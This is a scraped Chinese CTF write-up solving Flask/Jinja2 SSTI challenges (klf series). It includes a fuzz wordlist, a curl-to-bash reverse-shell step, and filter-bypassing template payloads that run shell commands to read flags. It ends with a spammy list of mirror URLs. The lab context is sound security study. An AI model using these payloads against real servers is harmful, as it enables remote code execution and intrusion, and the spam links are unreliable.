网站建设和微信小程序,网站开发属于专利吗,网站建设和管理自查报告,互联网行业公司CTF题型 SSTI(2) Flask-SSTI典型题巩固 文章目录 CTF题型 SSTI(2) Flask-SSTI典型题巩固前记1.klf__sstiSSTI_Fuzz字典#xff08;网上收集自己补充#xff09; 2.klf_2数字问题如何解决了#xff1f;|count |length都被禁#xff1f; 3.klf_3 前记
从基础到自己构造paylo…CTF题型 SSTI(2) Flask-SSTI典型题巩固 文章目录 CTF题型 SSTI(2) Flask-SSTI典型题巩固前记1.klf__sstiSSTI_Fuzz字典网上收集自己补充 2.klf_2数字问题如何解决了|count |length都被禁 3.klf_3 前记
从基础到自己构造payload
请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm1001.2014.3001.5501
上次用的极简payload {{lipsum.__globals__[os].popen(ls).read()}}这里接着沿用
这里题记 payload构造原理可能不是很细
复现环境2023 极客大挑战 klf系列 https://github.com/SycloverTeam/GeekChallenge2023/tree/main/Web 题目flag没有内容自己加内容测试
1.klf__ssti
Ctrl-U查看源码 发现html注释
htmlbodyh1给女神表白被拒绝了女神骂我klf呜呜呜/h1h1klf是什么意思啊呜呜呜女神肯定不会骂我的klf是keep in Love嘛/h1h1肯定是这样的呜呜呜女神肯定不会骂我的/h1/bodyimg srchttps://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/klf_ku..jpg altg!-- 我好像藏了东西你找得到嘛klf--
!--/hack?--
/html
访问/hack?
提示关键字 klf 对应黑盒测试 我们一般 fuzz 一下字符
SSTI_Fuzz字典网上收集自己补充
request
args
cookies
values
class
base
mro
subclasses
init
globals
builtins
os
import
popen
read
type
getitem
get
pop
session
config
url_for
set
lipsum
string
list
dict
join
count
index
request
args
values
cookies
format
for
is
end
name
lower
get_flashed_messages
chr
app
current_app
self
system
getattr
bytes
decode
doc
eval
exec
loader
ord
length
load_module
linecache
int
upper
reverse
replace
(
)
()
{{
}}
{%
%}
\x
\u
{%%}
{{}}
_
\
|
/[
]
*
~
:
-
.
*
0
1
2
3
4
5
6
7
8
9
31
51
101发送到 burl 爆破模块 发现 除了解析失败 其他页面相同 可能是盲注 {{lipsum.__globals__[os].popen(curl zdlvueztts.dgrh3.cn).read()}}
尝试判读出网不 发现出网 无回显 那我们直接反弹shell
测试后发现 环境可能只有curl 可以出网 (有点奇怪)
我们在自己vps web服务上 放置 一个文件 建议不加后缀名 bash -i /dev/tcp/ip/port 01
执行 curl ip/文件名 | bash 反弹回来
{{lipsum.__globals__[os].popen(curl ip/file | bash).read()}}
弹回来找flag 2.klf_2 提示发现我的secret
访问/robots.txt 发现ssti 注入点 burp fuzz一下 发现禁了一些关键词 包括 count 数字大于 40 都被禁 一些符号 \ _ [ ]
尝试lipsum有没有被禁 自己把我们上篇文章的payload修改一下
请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm1001.2014.3001.5501
{%set numadict(aaaaaaaaaaaaaaaaaaaaaaaab)|join|count%}
{%set pdict(poa,pa)|join%}
{%set xhx()|select|string|list|attr(p)(numa)%}
{%set a(xhx,xhx,dict(gloa,balsa)|join,xhx,xhx)|join%}
{%set bdict(oa,sa)|join%}
{%set cdict(poa,pena)|join%}
{%set ddict(rea,ada)|join%}
{%set e(xhx,xhx,dict(gea,titema)|join,xhx,xhx)|join%}
{%set f(xhx,xhx,dict(buila,tinsa)|join,xhx,xhx)|join%}
{%set chdict(cha,ra)|join%}
{%set chhlipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numbdict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{%set numcdict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{%set cmd(dict(caa,ta)|join,chh(numb),chh(numc),dict(apa,pa)|join,chh(numc),dict(fla,aga)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}我们修改一下cmd命令即可 执行ls /app
被禁{%set numadict(aaaaaaaaaaaaaaaaaaaaaaaab)|join|count%}
{%set pdict(poa,pa)|join%}
{%set xhx()|select|string|list|attr(p)(numa)%}
{%set a(xhx,xhx,dict(gloa,balsa)|join,xhx,xhx)|join%}
{%set bdict(oa,sa)|join%}
{%set cdict(poa,pena)|join%}
{%set ddict(rea,ada)|join%}
{%set e(xhx,xhx,dict(gea,titema)|join,xhx,xhx)|join%}
{%set f(xhx,xhx,dict(buila,tinsa)|join,xhx,xhx)|join%}
{%set chdict(cha,ra)|join%}
{%set chhlipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
被禁{%set numbdict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
被禁{%set numcdict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)|join|count%}
{%set cmd(dict(la,sa)|join,chh(numb),chh(numc),dict(apa,pa)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}数字问题如何解决了|count |length都被禁
因为 0-9没有被禁 可以用 全角字符半替代
为什么是半替代 因为 全部用全角字符 服务器无法识别
附 半角数字转全角 脚本
def half2full(half): full for ch in half: if ord(ch) in range(33, 127): ch chr(ord(ch) 0xfee0) elif ord(ch) 32: ch chr(0x3000) else: pass full ch return full
t
s0123456789
for i in s:t\half2full(i)\,
print(t)全角数字,,,,,,,,,
{%set pdict(poa,pa)|join%}
{%set xhx()|select|string|list|attr(p)(2)%}
{%set a(xhx,xhx,dict(gloa,balsa)|join,xhx,xhx)|join%}
{%set bdict(oa,sa)|join%}
{%set cdict(poa,pena)|join%}
{%set ddict(rea,ada)|join%}
{%set e(xhx,xhx,dict(gea,titema)|join,xhx,xhx)|join%}
{%set f(xhx,xhx,dict(buila,tinsa)|join,xhx,xhx)|join%}
{%set chdict(cha,ra)|join%}
{%set chhlipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd(dict(la,sa)|join,chh(3),chh(4),dict(apa,pa)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}可以看到/app内容
读取 /app/flag内容 cat /app/fl4gfl4gfl4g
{%set pdict(poa,pa)|join%}
{%set xhx()|select|string|list|attr(p)(2)%}
{%set a(xhx,xhx,dict(gloa,balsa)|join,xhx,xhx)|join%}
{%set bdict(oa,sa)|join%}
{%set cdict(poa,pena)|join%}
{%set ddict(rea,ada)|join%}
{%set e(xhx,xhx,dict(gea,titema)|join,xhx,xhx)|join%}
{%set f(xhx,xhx,dict(buila,tinsa)|join,xhx,xhx)|join%}
{%set chdict(cha,ra)|join%}
{%set chhlipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd(dict(caa,ta)|join,chh(3),chh(4),dict(apa,pa)|join,chh(4),dict(fl4gfl4gfl4ga)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}可以拿到flag
3.klf_3
和klf_2一样的操作 直接拿klf_2的payload来用
读取 /app/flag内容 cat /app/fl4gfl4gfl4g
{%set pdict(poa,pa)|join%}
{%set xhx()|select|string|list|attr(p)(2)%}
{%set a(xhx,xhx,dict(gloa,balsa)|join,xhx,xhx)|join%}
{%set bdict(oa,sa)|join%}
{%set cdict(poa,pena)|join%}
{%set ddict(rea,ada)|join%}
{%set e(xhx,xhx,dict(gea,titema)|join,xhx,xhx)|join%}
{%set f(xhx,xhx,dict(buila,tinsa)|join,xhx,xhx)|join%}
{%set chdict(cha,ra)|join%}
{%set chhlipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd(dict(caa,ta)|join,chh(3),chh(4),dict(apa,pa)|join,chh(4),dict(fl4gfl4gfl4ga)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}SSTI学习可以告一段落啦 文章转载自: http://www.morning.qbdsx.cn.gov.cn.qbdsx.cn http://www.morning.rfbt.cn.gov.cn.rfbt.cn http://www.morning.xgchm.cn.gov.cn.xgchm.cn http://www.morning.xfhms.cn.gov.cn.xfhms.cn http://www.morning.tjsxx.cn.gov.cn.tjsxx.cn http://www.morning.ttshf.cn.gov.cn.ttshf.cn http://www.morning.tdscl.cn.gov.cn.tdscl.cn http://www.morning.lgkbn.cn.gov.cn.lgkbn.cn http://www.morning.yybcx.cn.gov.cn.yybcx.cn http://www.morning.qjxkx.cn.gov.cn.qjxkx.cn http://www.morning.mqmmc.cn.gov.cn.mqmmc.cn http://www.morning.tqlhn.cn.gov.cn.tqlhn.cn http://www.morning.pngph.cn.gov.cn.pngph.cn http://www.morning.rqwwm.cn.gov.cn.rqwwm.cn http://www.morning.mbmtz.cn.gov.cn.mbmtz.cn http://www.morning.lphtm.cn.gov.cn.lphtm.cn http://www.morning.lpsjs.com.gov.cn.lpsjs.com http://www.morning.nqpxs.cn.gov.cn.nqpxs.cn http://www.morning.ygpdm.cn.gov.cn.ygpdm.cn http://www.morning.nxnrt.cn.gov.cn.nxnrt.cn http://www.morning.saletj.com.gov.cn.saletj.com http://www.morning.nkllb.cn.gov.cn.nkllb.cn http://www.morning.rwzqn.cn.gov.cn.rwzqn.cn http://www.morning.ndxrm.cn.gov.cn.ndxrm.cn http://www.morning.jrqcj.cn.gov.cn.jrqcj.cn http://www.morning.jnrry.cn.gov.cn.jnrry.cn http://www.morning.hwlmy.cn.gov.cn.hwlmy.cn http://www.morning.btsls.cn.gov.cn.btsls.cn http://www.morning.pswqx.cn.gov.cn.pswqx.cn http://www.morning.jkdtz.cn.gov.cn.jkdtz.cn http://www.morning.rgpbk.cn.gov.cn.rgpbk.cn http://www.morning.knnhd.cn.gov.cn.knnhd.cn http://www.morning.mbfj.cn.gov.cn.mbfj.cn http://www.morning.mxhgy.cn.gov.cn.mxhgy.cn http://www.morning.ltpph.cn.gov.cn.ltpph.cn http://www.morning.rcmcw.cn.gov.cn.rcmcw.cn http://www.morning.jfbbq.cn.gov.cn.jfbbq.cn http://www.morning.bkryb.cn.gov.cn.bkryb.cn http://www.morning.jsxrm.cn.gov.cn.jsxrm.cn http://www.morning.blfgh.cn.gov.cn.blfgh.cn http://www.morning.hcwjls.com.gov.cn.hcwjls.com http://www.morning.zkbxx.cn.gov.cn.zkbxx.cn http://www.morning.xtdms.com.gov.cn.xtdms.com http://www.morning.cldgh.cn.gov.cn.cldgh.cn http://www.morning.xhrws.cn.gov.cn.xhrws.cn http://www.morning.bqpg.cn.gov.cn.bqpg.cn http://www.morning.vuref.cn.gov.cn.vuref.cn http://www.morning.trbxt.cn.gov.cn.trbxt.cn http://www.morning.kjlhb.cn.gov.cn.kjlhb.cn http://www.morning.rqqlp.cn.gov.cn.rqqlp.cn http://www.morning.qlbmc.cn.gov.cn.qlbmc.cn http://www.morning.jgcrr.cn.gov.cn.jgcrr.cn http://www.morning.qmmfr.cn.gov.cn.qmmfr.cn http://www.morning.llqky.cn.gov.cn.llqky.cn http://www.morning.wklhn.cn.gov.cn.wklhn.cn http://www.morning.dkzwx.cn.gov.cn.dkzwx.cn http://www.morning.xnpj.cn.gov.cn.xnpj.cn http://www.morning.byshd.cn.gov.cn.byshd.cn http://www.morning.ryywf.cn.gov.cn.ryywf.cn http://www.morning.mrkbz.cn.gov.cn.mrkbz.cn http://www.morning.ljsxg.cn.gov.cn.ljsxg.cn http://www.morning.rxtxf.cn.gov.cn.rxtxf.cn http://www.morning.xnwjt.cn.gov.cn.xnwjt.cn http://www.morning.rjxwq.cn.gov.cn.rjxwq.cn http://www.morning.bphqd.cn.gov.cn.bphqd.cn http://www.morning.cndxl.cn.gov.cn.cndxl.cn http://www.morning.tjpmf.cn.gov.cn.tjpmf.cn http://www.morning.jfnlj.cn.gov.cn.jfnlj.cn http://www.morning.nrtpb.cn.gov.cn.nrtpb.cn http://www.morning.rwlnk.cn.gov.cn.rwlnk.cn http://www.morning.pskjm.cn.gov.cn.pskjm.cn http://www.morning.alwpc.cn.gov.cn.alwpc.cn http://www.morning.jbfzx.cn.gov.cn.jbfzx.cn http://www.morning.wqbbc.cn.gov.cn.wqbbc.cn http://www.morning.kzpy.cn.gov.cn.kzpy.cn http://www.morning.pnljy.cn.gov.cn.pnljy.cn http://www.morning.zypnt.cn.gov.cn.zypnt.cn http://www.morning.tdnbw.cn.gov.cn.tdnbw.cn http://www.morning.zdkzj.cn.gov.cn.zdkzj.cn http://www.morning.gsqw.cn.gov.cn.gsqw.cn